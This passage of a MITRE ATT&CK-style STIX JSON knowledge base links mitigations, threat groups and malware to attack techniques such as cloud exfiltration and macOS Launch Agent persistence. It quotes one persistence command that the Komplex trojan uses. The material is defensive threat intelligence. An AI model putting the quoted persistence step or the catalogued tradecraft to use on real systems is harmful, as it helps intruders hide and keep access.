                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
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            ],
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            "modified": "2020-11-05T16:05:47.230Z",
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        },
        {
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            "external_references": [
                {
                    "source_name": "STIG krbtgt reset",
                    "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779",
                    "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."
                }
            ],
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            "created": "2020-02-28T15:22:27.336Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
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            "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.",
            "id": "relationship--cafefef9-bf75-48e2-91e4-716988309f52",
            "type": "relationship",
            "modified": "2021-04-24T14:04:16.543Z",
            "created": "2020-03-02T14:19:22.905Z"
        },
        {
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            ],
            "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea",
            "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.",
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                {
                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
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            "created": "2020-03-02T14:19:22.918Z"
        },
        {
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            "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
            "relationship_type": "mitigates",
            "description": "Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.",
            "id": "relationship--b7330e62-2388-44e7-ab1c-5cac3df16d27",
            "type": "relationship",
            "modified": "2021-04-24T14:04:16.566Z",
            "created": "2020-03-02T14:19:22.938Z"
        },
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            "description": "Consider encrypting important information to reduce an adversary\u2019s ability to perform tailored data modifications.",
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                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
                    "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf",
                    "source_name": "CERT-EU DDoS March 2017"
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            ],
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                    "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf",
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            ],
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            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [schtasks](https://attack.mitre.org/software/S0111) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--ba7f4c8e-860a-45fc-a9e7-bb7d0ec96a2c",
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            "id": "relationship--bb1fb0c8-49f9-463c-b039-68636d507b80",
            "type": "relationship",
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            ],
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            "relationship_type": "mitigates",
            "description": "Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.",
            "id": "relationship--888cad71-2275-4ca6-a154-f297f972487c",
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            "modified": "2020-03-28T00:54:10.245Z",
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            ],
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            "relationship_type": "mitigates",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole` associated with system-wide security defaults for all COM applications that do no set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)",
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                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Process Wide Com Keys"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "source_name": "Microsoft System Wide Com Keys"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
                }
            ],
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            "modified": "2020-03-28T19:34:47.661Z",
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        },
        {
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            "relationship_type": "mitigates",
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                {
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "source_name": "Enigma Reviving DDE Jan 2018"
                },
                {
                    "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b",
                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
                    "source_name": "GitHub Disable DDEAUTO Oct 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-28T19:34:47.676Z",
            "created": "2020-03-09T13:13:23.999Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "relationship_type": "mitigates",
            "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017)(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.(Citation: Microsoft ADV170021 Dec 2017)",
            "id": "relationship--16f46969-91e3-4bcd-8d58-97e88e6b1d3e",
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                {
                    "url": "https://technet.microsoft.com/library/security/4053440",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "source_name": "Microsoft DDE Advisory Nov 2017"
                },
                {
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
                },
                {
                    "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b",
                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
                    "source_name": "GitHub Disable DDEAUTO Oct 2017"
                },
                {
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ADV170021 Dec 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-28T19:34:47.702Z",
            "created": "2020-03-09T13:13:24.020Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463",
            "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
            "relationship_type": "mitigates",
            "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)",
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            "external_references": [
                {
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Protected View"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-28T19:34:47.701Z",
            "created": "2020-03-09T13:13:24.024Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46",
            "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
            "relationship_type": "mitigates",
            "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.(Citation: Microsoft ASR Nov 2017)(Citation: Enigma Reviving DDE Jan 2018)",
            "id": "relationship--ca928ba4-bb4b-4cd9-a105-8c0d4d81891f",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction",
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                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
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                    "source_name": "Enigma Reviving DDE Jan 2018"
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                    "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b",
                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
                    "source_name": "GitHub Disable DDEAUTO Oct 2017"
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                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
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                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
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                    "source_name": "Microsoft ADV170021 Dec 2017"
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                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
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                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
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                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
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                {
                    "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/",
                    "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.",
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            "relationship_type": "mitigates",
            "description": "When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.(Citation: Netspi PowerShell Execution Policy Bypass)",
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            "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
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            "type": "relationship",
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            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
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            "type": "relationship",
            "modified": "2020-03-09T13:48:55.816Z",
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            "id": "relationship--d948a3b2-4873-4175-be18-ddef1c20347d",
            "type": "relationship",
            "modified": "2020-03-09T13:51:07.152Z",
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            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "relationship_type": "mitigates",
            "description": "Use application control where appropriate.",
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            "type": "relationship",
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            "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "relationship_type": "mitigates",
            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.(Citation: applescript signing) This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.",
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            "relationship_type": "mitigates",
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            "id": "relationship--e49a1c79-5aa0-4d1a-906d-806c5253bd3e",
            "type": "relationship",
            "modified": "2020-03-11T14:55:56.297Z",
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        },
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            "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "relationship_type": "subtechnique-of",
            "id": "relationship--b2d97276-503d-4fd0-9517-92e05a774de0",
            "type": "relationship",
            "modified": "2020-03-11T14:49:37.076Z",
            "created": "2020-03-11T14:49:37.076Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "relationship_type": "subtechnique-of",
            "id": "relationship--7bf67f44-6349-4576-8145-44e53a91676a",
            "type": "relationship",
            "modified": "2020-03-11T14:58:52.196Z",
            "created": "2020-03-11T14:58:52.196Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7",
            "external_references": [
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can use GitHub for data exfiltration.(Citation: Github PowerShell Empire)",
            "relationship_type": "uses",
            "id": "relationship--74779612-4c9b-4b23-8138-763f84362f8f",
            "type": "relationship",
            "modified": "2021-04-09T14:47:00.148Z",
            "created": "2020-03-11T17:30:31.996Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
            "relationship_type": "uses",
            "id": "relationship--035e7890-593f-4f70-898a-93f3302f8fac",
            "type": "relationship",
            "modified": "2020-03-11T17:35:33.894Z",
            "created": "2020-03-11T17:35:33.894Z"
        },
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            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
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            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. (Citation: University of Birmingham C2)",
            "id": "relationship--6f1f4c7b-dc86-44e3-9ff2-ea9451ea90ee",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-23T22:10:11.037Z",
            "created": "2020-03-11T21:01:01.062Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Malware researchers can reverse engineer malware variants that use dynamic resolution and determine future C2 infrastructure that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force)",
            "id": "relationship--0c2dadcb-36c4-4255-a53d-e54f1bb71c5f",
            "external_references": [
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."
                },
                {
                    "source_name": "Cisco Umbrella DGA Brute Force",
                    "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/",
                    "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-03-27T18:25:03.490Z",
            "created": "2020-03-12T14:18:38.906Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "relationship_type": "mitigates",
            "description": "In some cases a local DNS sinkhole may be used to help prevent behaviors associated with dynamic resolution.",
            "id": "relationship--5632a2de-e231-4ef0-971b-6cdb2750d410",
            "type": "relationship",
            "modified": "2020-03-27T18:25:03.508Z",
            "created": "2020-03-12T14:18:38.929Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "source_name": "synack 2016 review",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/"
                }
            ],
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a Launch Agent to persist.(Citation: synack 2016 review)",
            "relationship_type": "uses",
            "id": "relationship--feccb439-0a34-4224-ba12-62e11215d5a5",
            "type": "relationship",
            "modified": "2020-03-12T16:37:21.783Z",
            "created": "2020-03-12T16:37:21.783Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "source_name": "CoinTicker 2019",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/",
                    "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019."
                }
            ],
            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.(Citation: CoinTicker 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--ad257565-2097-4cdc-9a52-3e54a7188f02",
            "type": "relationship",
            "modified": "2020-03-12T17:20:43.096Z",
            "created": "2020-03-12T17:20:43.096Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) persists via a Launch Agent.(Citation: objsee mac malware 2017)",
            "relationship_type": "uses",
            "id": "relationship--e230326e-186e-490e-9299-fbc000d33d0a",
            "type": "relationship",
            "modified": "2020-03-12T17:28:00.863Z",
            "created": "2020-03-12T17:28:00.863Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "description": "[Calisto](https://attack.mitre.org/software/S0274) adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.(Citation: Securelist Calisto July 2018)",
            "relationship_type": "uses",
            "id": "relationship--02e0a0a6-2b51-4266-ba4e-1af344f20f62",
            "type": "relationship",
            "modified": "2020-03-12T18:50:32.117Z",
            "created": "2020-03-12T18:50:32.117Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "description": "[CrossRAT](https://attack.mitre.org/software/S0235) creates a Launch Agent on macOS.(Citation: Lookout Dark Caracal Jan 2018)",
            "relationship_type": "uses",
            "id": "relationship--32b0dfd5-4909-490e-83a4-963a30b44104",
            "type": "relationship",
            "modified": "2020-03-12T18:51:45.867Z",
            "created": "2020-03-12T18:51:45.867Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "description": "[Dok](https://attack.mitre.org/software/S0281) persists via a Launch Agent.(Citation: objsee mac malware 2017)",
            "relationship_type": "uses",
            "id": "relationship--4065a71f-ae1b-4dfc-9825-56d2af6d589c",
            "type": "relationship",
            "modified": "2020-03-12T18:53:29.757Z",
            "created": "2020-03-12T18:53:29.757Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                }
            ],
            "description": " The [Komplex](https://attack.mitre.org/software/S0162) trojan creates a persistent launch agent called with <code>$HOME/Library/LaunchAgents/com.apple.updates.plist</code> with <code>launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist</code>.(Citation: Sofacy Komplex Trojan)",
            "relationship_type": "uses",
            "id": "relationship--e42547e7-0bf9-4a29-b3af-f80bd0b78e38",
            "type": "relationship",
            "modified": "2020-03-12T18:55:23.567Z",
            "created": "2020-03-12T18:55:23.567Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) persists via a Launch Agent.(Citation: objsee mac malware 2017)",
            "relationship_type": "uses",
            "id": "relationship--22a54751-c1f2-498a-bae0-fa4736c86bf5",
            "type": "relationship",
            "modified": "2020-03-12T18:59:53.783Z",
            "created": "2020-03-12T18:59:53.783Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "source_name": "TrendMicro MacOS April 2018"
                },
                {
                    "source_name": "Trend Micro MacOS Backdoor November 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html",
                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder <code>/Library/LaunchAgents</code>.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)",
            "relationship_type": "uses",
            "id": "relationship--5a872d22-22e6-49b1-8ddd-7efc6c403ad6",
            "type": "relationship",
            "modified": "2020-12-02T14:30:55.893Z",
            "created": "2020-03-12T19:09:57.866Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "description": "[Proton](https://attack.mitre.org/software/S0279) persists via Launch Agent.(Citation: objsee mac malware 2017)",
            "relationship_type": "uses",
            "id": "relationship--1308cf20-40b9-4163-bb68-b3f08b0f53b8",
            "type": "relationship",
            "modified": "2020-03-12T19:11:05.236Z",
            "created": "2020-03-12T19:11:05.236Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b",
            "external_references": [
                {
                    "source_name": "GitHub Pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "url": "https://github.com/n1nj4sec/pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can be used to establish persistence using a systemd service.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--69b71b4b-fec9-4850-b002-4a44b875a814",
            "type": "relationship",
            "modified": "2020-03-12T19:15:09.779Z",
            "created": "2020-03-12T19:15:09.779Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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                {
                    "source_name": "Fysbis Dr Web Analysis",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "url": "https://vms.drweb.com/virus/?i=4276269"
                }
            ],
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                {
                    "source_name": "ESET TeleBots Oct 2018",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
